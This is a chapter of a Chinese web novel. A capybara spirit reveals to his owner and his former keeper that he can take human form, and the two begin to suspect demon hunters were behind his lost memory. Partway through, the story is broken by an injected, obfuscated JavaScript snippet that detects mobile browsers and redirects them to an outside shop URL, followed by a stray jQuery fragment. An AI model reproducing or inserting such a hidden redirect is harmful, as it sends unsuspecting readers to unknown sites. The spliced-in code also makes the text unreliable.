段琅然是个富二代,至少程小满的前饲养员程知乐是这么说的。
她本人很漂亮,她们家也很有钱,父母都是大老板,段琅然按理说躺在家里一辈子都吃喝不愁,完全想不出人生会有什么烦恼。
偏偏她要出来朝九晚五地上班,大学还要念医学这种地狱级别的专业。
实在是自己给自己找罪受的程度。
按照程小满对人类的了解,“富二代”群体普遍的日常生活应该是开着豪车满街逛,去高档的奢侈品店里消费,再来一顿程小满见都没见过的食材烧成的饭。
而段琅然,她的日常是开着不太豪的车来到是非众多的心理诊所,坐班八九个小时,再开着不算太豪的车,回到不算太豪的普通公寓。
程知乐说,她这是有理想,有工作热情。程小满不知道什么叫理想,但从程知乐的嘴里听得出来,段琅然在她自己的工作领域是一个相当厉害的人。
段琅然自己对此事的解释更加含糊:“我只是给自己找点事情做。”
那么顺理成章地,收养程小满此事,也是“给自己找点事情做”。
只是这次找的事情有点大了。
作为宠物,程小满并不是很让人省心。他吃得极其多不说,作为动物形态还时还容易掉毛,好几次想去人类的厕所上厕所结果掉进了马桶里,等段琅然回来才被捞出来。
换作普通的宠物,段琅然应该早就火冒三丈把它臭骂一顿了,可惜程小满是有特殊能力的妖。
他能操纵人的情绪。
所以哪怕段琅然真的火冒三丈,程小满也能当那个灭火器。
虽然这个能力被封印了很大一部分,但哪怕在这种程度下,程小满依旧能精准地把情绪投递给目标任务,即使只是共处一室,他也能慢慢地让所有人的情绪和他同化。
段琅然和他住在一个屋檐下那么久,哪怕心情烦躁,也会因为程小满的影响,变得心平气和,火气生生咽下去。
而这一切,最终也和他的妖精身份一起被程小满全盘托出。程小满当时仅仅想知道段琅然会不会因为他的身份和能力弃养他,或是避如蛇蝎。
段琅然却一味盯着他的胸口看。
“嗯?有什么东西吗?”程小满奇怪,低头去看。
“好大的肌肉.......咳咳,我是说,你身材还不错。”
“嘿嘿嘿,我特意给自己塑的,好看吧。”
说起他的身体,程小满很得意,他知道自己长得很好看,身体也很好看,毕竟妖精的化形样貌是可以自己改的嘛,按照好看的人一点点改成现在这个样子,他也是花了不少力气的。
段琅然抬头看程小满的脸,露出了颇为欣赏的眼神,相当刻意地地咳了咳:“咳咳,是......长得好看啊。长成这样的话,你完全可以出去当个男模,不用像现在这样,呃,寄人篱下,是吧?你要是对人类社会的工作不太了解,我可以给你介绍......”
程小满不得已打断她:“我的妖力......现在还很弱,我现在变成人的时间维持不了多久,所以才一直当水豚......求求你养着我吧,可以不把我当成人的。”
“但我没办法接受自己养了一个人在房间里面啊!”段琅然揉了揉太阳穴,看上去心情又变得烦躁,“养只猫养条狗都可以,哪怕是水豚这种小众宠物,我也能接受,但是你这么大一个人,我......”
段琅然又陷入了常态化的烦躁。她在房间里来回踱步。每次她在两个选择之间犹豫不决的时候,就会做出这样的动作。
程小满低头不语。
段琅然的情绪已经到了他都没办法改变和彻底控制的程度了。
“我求你,你走吧。我不知道要怎么面对你。”
程小满急着辩解,嘴巴一时说漏:“其实我本来就是特地......不是,我,我......”
“你特意来找的我?啊?”段琅然走上前几步,盯着程小满的眼睛看,微微蹙眉。
程小满盯着那双眼睛。好漂亮的一双眼睛,睫毛很长,瞳仁很幽深,程小满竟然一时失神,开始回想自己有没有见过眼睛比她更好看的人类。
“总要有目的的吧?你不可能莫名其妙地要来接近我,总要有什么目的的吧?”
程小满心一横,知道他现在必须说出实话了。
“我来你这里,是为了找回我以前的记忆。”
“记忆?在我这吗?”段琅然环视四周,“我这里没有记忆啊,鸡头鸡翅鸡胸鸡腿倒是都有,你还要吃什么我都能给你买。”
“能不能听我说完啊......”程小满暗自对这个莫名其妙扯开话题的人类感到无语。
段琅然平静下来不少,上下打量着程小满的这具身体。
“我从来没见过妖精,真是有意思的物种啊......”
“我的记忆弄丢了,现在只剩下五年的记忆。但是在你身上,我能看到记忆的碎片。”
“你这话的意思是,我们以前见过?”
程小满摇头:“我都不记得了,所以也不清楚是为什么。”
他微微欠身,把视线放到和段琅然平齐的位置。
“你这里有我想要的东西,我的记忆。等我找到记忆,我马上就走,绝对不多留一分钟,这样可以吗?”
段琅然还没来得及回答,程小满“蹭”地一声缩小,把段琅然吓了一跳。再睁眼时,眼前那个高大的男人已经不翼而飞,只剩下脚边一只棕色的毛团子。
段琅然宁愿相信是自己记忆错乱,也不想承认那个男人是她养了快一个月的宠物。如今他一朝变了回去,段琅然也能短暂地进行一下自我欺骗。
“你就是小满,就是小满对吧。刚才那个人高马大的那位,肯定不是你,跟你没关系。”
还没等她说完两秒钟,刚刚耗尽妖力的程小满用仅剩的一点点妖力又憋出来一个人形。
“滚!”
段琅然对水豚的耐心如果是一百分的话,对这男的耐心就是0.001分。
哪怕这男的长得有点帅,长得有点高,身上有点肌肉,宽肩窄腰……
反正他就是没办法替代小满的!小满就是小满!
段琅然崩溃无处发泄,第二天就给发小程知乐打了电话。
程知乐在此事件中承担的角色相当复杂。他和段琅然是青梅竹马,从尿裤子的岁数玩到大。但是更重要的一层身份是……他是程小满的前任饲养员。
世界上的缘分就是如此妙不可言。
在段琅然把程小满捡回来之后没几天,程知乐来她家里拿一份材料的时候,看见了正在打盹的程小满,上演了一出大型认亲现场。
程知乐抱着程小满舍不得撒手,向段琅然各种陈述程小满曾经在三山时的“光辉事迹”。
“他有名字的,他叫程小满,跟我姓,嘿嘿。”
段琅然略显无语:“你就这么想要孩子?给宠物起名字还有名有姓的。”
“他就是像我的孩子一样,我养了好几年呢!”
段琅然想起这些话,不由得一阵头疼。她不知道要如何跟程知乐开口讲这件事。
“喂?找我啥事啊?是小满的事吗?”
段琅然快速肯定:“是。”
“哦,他又咋了,吃不好了还是睡不好了?要不要我过来看看啊?”
段琅然思虑再三,觉得程知乐对此事有知情权:“我不想打击你……但是程小满能变成人这件事你知道吗?”
电话对面沉默了好几秒。
“喂?喂?诶……没信号了吗?”
“你……认真的啊?他,他……不可能。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540025|203913||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
段琅然习惯了他的死鸭子嘴硬:“你不信的话自己来看嘛,他能秒变身,变出来比你还高。”
“你别跟我开这种玩笑。”程知乐似乎有点慌。
“我什么时候这种事情上跟你开过玩笑?”
程小满在旁边默默听着这一通电话,在不到半小时之后,就看见了闯进家门的程知乐。
“你表演给他看吧。”
程小满甚是听话地原地化形,程知乐表情不算很意外,当然也不平静。
“所以你是说,你……”他看向眼前这个比自己还高一些的人,“能听懂人话。”
程小满点头。
程知乐顿时炸了锅:“那我在你面前倒苦水你岂不是都能听懂啊!”
“能听懂,一点。”
“那我冰箱里的火腿……”
“我吃的。”程小满面无悔色。
“我莫名其妙坏掉的电风扇……”
程小满低头:“我弄坏的,对不起。”
“等会,你这条裤子。”
段琅然捂脸:“他刚变成人的时候,全luo,全luo!我不拿你裤子给他穿,我让他在我面前遛鸟吗??”
空气一时陷入了沉默。
显然程知乐对于自己养了好几年的小动物突然变成人这件事情也接受无能,不过他比段琅然看得开很多。在他眼里,人也好动物也好,只要是程小满就可以了,没什么区别。
“你现在这个样子还听符合我对你的想象的......嗯,挺臭屁啊,给自己整那么帅。”
一旁的段琅然默默地翻了个白眼。
“现在不是给你纠结他帅不帅的时候。”
“那我得纠结什么啊?”程知乐一脸的问号,“那他现在会变成人,他不是个纯种小动物。这事不是你我能改变的,也只能接受啊,不然还能怎么样?”
段琅然一副恨铁不成钢的样子:“他是个妖!是个妖啊,你还没想起来吗?”
程知乐被一语点醒,表情一下收敛了不少,脸也突然板得很正。他视线的焦距一点点拉远,似乎想问题想得有些出神,竟然罕见地露出了迷茫的神情。
程知乐的思考渐入佳境,简直马上就要达到段琅然想让他思考的那个程度,他忽然从哪绝佳的思考状态中脱离出来,没头没尾地问了句:“你不会真喜欢我吧?”
段琅然恨不得直接给他一个大逼斗:“你有病吧。”
“那你为啥要特意提醒我她的事情?”
段琅然真想把他的脑子挖出来看看里面有没有塞屎:“她是你前女友,难道就不是我老同学了吗?就算后来,有了那个事,到底也算是同窗,我能想起她的事情很正常吧?”
“啊好了好了,我知道肯定不是这个原因,就是听着总是怪怪的。”
“我只是想到,当年她提过一嘴,说她们家祖上都是捉妖师,到她这一代传承断掉了,她改行相信科学了。最开始我也以为她说的只是某种信仰或者传统,谁能知道现实里真有妖精啊?”
程知乐再次陷入沉思。
“你是觉得,当年杨弋出国的事情,可能就是和他们家这个捉妖师的职业有关系?”
“对。而且,小满和我说,他的记忆丢了,只记得过去五年的事情,差不多也就是你在三山喂养他的时间,他没准是被人弄失忆了,又专门弄到动物园里圈养起来的。”
程知乐算了算:“是差不多。”
他转头看向早已妖力耗尽变回原形的程小满,发现一向镇定自若的小家伙竟然缩成了一团,隐隐有些害怕的意思。
“怎么了?难道是听了我们说的话......”
“他在害怕。”段琅然更加笃定她的猜测,“所以世界上是真的存在捉妖师的,而且捉妖师真的很厉害,妖精是害怕他们的。”